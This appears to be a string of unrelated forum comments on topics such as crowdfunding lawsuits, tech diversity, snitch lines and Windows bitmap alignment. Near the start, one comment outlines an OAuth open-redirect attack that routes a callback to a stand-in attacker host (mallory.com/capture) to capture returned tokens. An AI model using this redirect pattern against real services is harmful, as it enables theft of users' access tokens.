I think that egyptians had access to irrigation technology. And from what I remember as a kid on the beach you don't need that much water - you only need to create a film.

Example.com has an open redirect; say http://example.com/redirect?url=xxxxx

Craft the OAuth URL to Twitter passing the callback as http://example.com/redirect?url=http://mallory.com/capture.

Now Mallory can access the parameters passed back by Twitter at /capture on their server.

Questions:

1. You have to look at the referer to get the tokens, no?

2. OAuth 1.0a isn't vulnerable because the requests are signed with a secret, correct?

It's entirely sensible.

If you beat me up and I incur $10k in ER bills, chances are prosecuting you is going to cost more than that. The point is not to recoup the costs, but to make it risky for others to do the same thing.

I don't live in Washington, but if this were happening in CA I'd have no problem with it; it isn't so much about recouping that money as it is setting a precedent.

If there are no repercussions to collecting a bunch of crowdfunding money and disappearing, doing that will become a lot more common (likely with amounts a lot higher than $25k) which will eventually just serve to kill the entire crowdfunding model since nobody wants to be a sucker twice.
It promotes "snitch culture." Which you might pattern-match with gang talk about "no snitching" until you realize that the ultimate snitch culture was the Soviet Union and satellites.

What's wrong with a snitch line is that everyone has something to hide, and that everyone also does things that look unsavory at times. Nobody wants to live looking over their shoulder every minute of the day. Nobody wants to live thinking that their being in an unusual place at an unusual time will lead to someone "saying something."

That's not even going into malicious use.

The suit does not state anything about creators being allowed to "delay as much as need".

No, the accusations are, in the first cause of action, representing that rewards would be delivered in approximately December of 2012 and not delivering them and, in the second cause of action, failure to provide refunds to those who requested them, and failure to offer refunds to those who had not requested them, given the failure to deliver.

Lack of diversity in the tech industry truly saddens me. I love technology, and I want to encourage everyone else to discover how magical it is. It's a tragedy that the industry can be so hostile to some, for apparently no reason.

But as a white male, I feel powerless to do anything. I can't speak for women, or for other races, or really for anyone else. I want to help fix this, but where do I begin?

And by page 5, we really mean the 6th page of the book.

Oh, and instruction 2? It was the third instruction, and mentioned that you should switch books.
With all the people that book inspired to get into computing, and the sum total of what we've built, I bet Ahl couldn't have guessed what an impact that book would have.
I think the big takeaway here, not just for women but for anyone in the workplace who feels uncomfortable with or offended by something someone else has said, is to consider the intent.

Sometimes somebody says something offensive, and they don't even know they're being offensive. And in those cases, you can take them aside, explain to them why it's offended you, and hopefully they'll say, "Oh, dreadfully sorry, I didn't realize" -- and they won't do it again.

Which doesn't necessarily mean that people should always be let off the hook if they say/do something in ignorance; there are some things that one ought not be ignorant about.

But I think there's something fundamentally different about someone saying or doing something in ignorance -- especially if they appear contrite once they realize how it's made others feel -- and someone doing it purposefully, like the creep in the restaurant in Heidi's story.

They should prompt the user. Let the user decide what metadata to include and review it before submission. Personally, I would probably leave all the metadata intact and leave contact information if I were submitting pictures of a riot.

I don't agree with Nate Cardozo. If you're in public then you may be photographed and those photos may be shared with other parties, including law enforcement. More concerning is access to the database of photos. Anyone who is accused must have full access. It wouldn't be right if prosecutors were able to withhold exculpatory evidence.
The difference there is civil vs. criminal.

I absolutely would support it if they were being charged with fraud, as in your example I would be charged with assault. But a civil suit for such a small dollar amount typically goes to small claims court.

i'm incredibly reluctant to post in threads like this, but I think this attitude is actually hurting diversity in the industry: excessive "chivalry" by males gives more of an illusion of preferential treatment when women stand up to discrimination, which is just more fuel for the gender war fire. women need our support, not our defense. it's fine to be outraged, but your response should not be to go on the offensive.

First, where does the "/ 50" come from?

Second, while the suit calls for restitution to be made part of the courts orders, it also seeks civil penalties of $2,000 per violation of the applicable consumer protection law, and for costs including legal fees.

Note specifically the middle part of 4.9. It does not say word-for-word the same thing i said, but it very strongly implies that delays are fine (and in fact they normally are accepted on kickstarter) as long as communication is kept up.

Also note the kickstarter FAQ itself:

https://www.kickstarter.com/help/faq/kickstarter+basics#faq_...

It's not uncommon for things to take longer than
expected. Sometimes the execution of the project proves
more difficult than the creator had anticipated. If a
creator is making a good faith effort to complete their
project and is transparent about it, backers should do
their best to be patient and understanding while
demanding continued accountability from the creator.
It's also very relaxing. I do it all the time when, say, watching television.
Yes, we'd just need some kind of signal that was proportional to demand. If the demand was high, the signal would also be high, so that consumers would know it was time to cut back on consumption. And likewise, for producers, a high signal would indicate that it was time to bring on extra capacity. Of course, we'd want the signal to be something meaningful that people wouldn't ignore. It would be best if the whole signaling infrastructure was decentralized, so that producers and consumers could act according to their own needs without coordinating through a central authority. It seems like there may be a startup opportunity in there somewhere.

I would love to see very large floating rafts which use the rise and fall of waves/tides to pump compressed air into tans that can be released to turbines for energy. Let these rafts float up and down static pillars... this concept has been used in the past - but I don't think for the idea of compressing air... Make the pillar tall, add solar collectors and top it off with a windmill :)

Can you do any maths on that concept and determine the size of the rafts which would produce usable energy consistently?

Well, you can run that argument for a lot of things. Sometimes it is more important to protect the system which will bring good in the future. Costs go before the earnings (no pain, no gain).

We really need to come together as a species to combat this. This isn't a gender thing or a generational thing- I remember uptalk from the '80s; much like hatred, greed, and violence, it has probably been around in one form or another ever since we were evolved enough to engage in such activities. If we fail to stop this, we richly deserve whatever horrifying apocalypse follows as a result, whether it's getting stomped to death by a newly-arisen and understandably annoyed Cthulhu, or (more likely) Idiocracy comes true within our lifetimes.

Seriously: THIS CANNOT COME TO PASS. It cannot be allowed to happen. It doesn't matter what extremes we have to go to to stop it, even WWIII. Honestly, the complete and total extinction of humanity in a nuclear holocaust is preferable to someday waking up in a world where adults uptalk at any time ever for any reason at all whatsoever.

There are times in one's life where everything comes down to one struggle; one fight; one crusade. This is one of those times. Do not disappoint me, humanity. Please, please, please, please do not disappoint me, as you have so many times in the past. Do not let this happen. Thanks in advance?
I think jaegerpicker hits it on the head. If the organization is a good one, with a good culture, kids vs. no-kids won't be a problem. The dichotomy between the two can definitely shine a light on deficiencies in the culture and/or management.
> The difference there is civil vs. criminal.

Its really not -- civil penalties that are not about restitution -- like the $2,000 per violation penalty attached to the consumer protection law Washington is invoking here -- serve a very similar function to criminal fines.

> I absolutely would support it if they were being charged with fraud

They are being charged with violations of Washington's Consumer Protection Act including "unfair or deceptive acts or practices in trade and unfair methods of competition". Which isn't a whole lot different than "fraud".

First off, check that you are never participating in the behavior you don't want to see. I'm amazed how often I have to check myself.

Second, use your position of power as a white male to call out other men, privately or otherwise, when you see them behaving like any of the reprobates in this article. You'll be amazed at how much weight your voice can have in these situations.

Third, proactively advocate for women.
Are you a person of color? Are you a woman? Are you gay? Are you trans? Are you disabled?

Not trolling, genuinely curious.

Edit:
I can't reply to the children (might be my karma game) and so I'll reply here. The linked article is about specifically about power and privilege, and how being a woman in the tech business puts you at a severe disadvantage in your job, in your community of choice. The reason why I ask is justification "I'm European so..." seems dangerously close to "lighten up" or "get a sense of humor". It's fine to put yourself out there on a joke, humor is hard, but rewarding. But when someone takes offense, I find it problematic when all of a sudden it's their problem for not getting your style or sense of humor.

When a privileged person is forced to check their privilege and they respond with "oh, my bad, I didn't realize, etc." I accept maybe they don't have the experience or perspective that comes with being disenfranchised in that particular regard. When they respond with "lighten up" I find there is no attempt to internalize why someone could feel sadness, or discomfort, or frustration about the offensive topic at hand.
Yup, my bad. Totally read that as him placing his hand in his pants. As in, only one person involved.
Amazon Same-Day Delivery Arrives In San Francisco
How can one transform the array "lpvBits" passed to the API function SetDIBits() in order for every line to be DWORD aligned? If the image width, in points (pixels) of the input stream lpvBits is a multiple of 4, this is done automatically, but when not, it needs transformation. Adding the reminder of the division of the image width to 4 to every stream of bytes for every line seems not to resolve the problem.
Confirmed, you are totally crazy.
Isn't that a natural progression in many fields though? Developing ever more complex and challenging material to show off you're "better" than the previous generation or "building upon their work" so to speak? Regardless of whether the added complexity is much of an improvement.

It kind of makes sense that you start needing a conductor - it is basically dividing the growing complexity into lower and higher level tasks because the full task is too much to bear for a single individual.

Perhaps, but taking it at face value is dangerously close to thinking it's okay to tell somebody to "man up" or "laugh it off" when they're offended by sexist/racist/offensive comments. Remember, in her example, she says, "I already knew Brad as a great guy and a huge supporter of women". It's not license to tell someone they shouldn't feel offended.
